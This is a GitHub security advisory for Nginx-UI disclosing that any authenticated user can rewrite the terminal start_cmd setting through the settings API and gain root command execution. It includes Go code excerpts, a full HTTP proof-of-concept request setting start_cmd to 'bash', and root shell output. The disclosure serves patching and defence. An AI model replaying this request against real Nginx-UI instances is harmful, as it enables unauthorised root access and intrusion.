GHSA-8r25-68wm-jw35 Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)

• Go github.com/0xJacky/Nginx-UI: < 1.9.10-0.20231219184941-827e76c46e63 → fixed in 1.9.10-0.20231219184941-827e76c46e63

Summary Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. Details The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. ```go func InitPrivateRouter(r *gin.RouterGroup) { r.GET("settings", GetSettings) r.POST("settings", SaveSettings) ... } ``` The `SaveSettings` function is used to save the settings. It is protected by the `authRequired` middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings. The `SaveSettings` function is defined as follows: ```go func SaveSettings(c *gin.Context) { var json struct { Server settings.Server `json:"server"` ... } ... settings.ServerSettings = json.Server ... err := settings.Save() ... } ``` The `Terminal Start Command` setting is stored as `settings.ServerSettings.StartCmd`. By spawning a terminal with `Pty`, the `StartCmd` setting is used: ```go func Pty(c *gin.Context) { ... p, err := pty.NewPipeLine(ws) ... } ``` The `NewPipeLine` function is defined as follows: ```go func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) { c := exec.Command(settings.ServerSettings.StartCmd) ... ``` This issue was found using CodeQL for Go: Command built from user-controlled sources. Proof of Concept > Based on this setup using `uozi/nginx-ui:v2.0.0-beta.7`. 1. Login as a newly created user. 2. Send the following request to modify the settings with `"start_cmd":"bash"` : ```http POST /api/settings HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 512 Authorization: > Content-Type: application/json {"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}} ``` 3. Open a terminal from the web interface and execute arbitrary commands as `root`: ``` root@1de46642d108:/app# id uid=0(root) gid=0(root) groups=0(root) ``` Impact This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.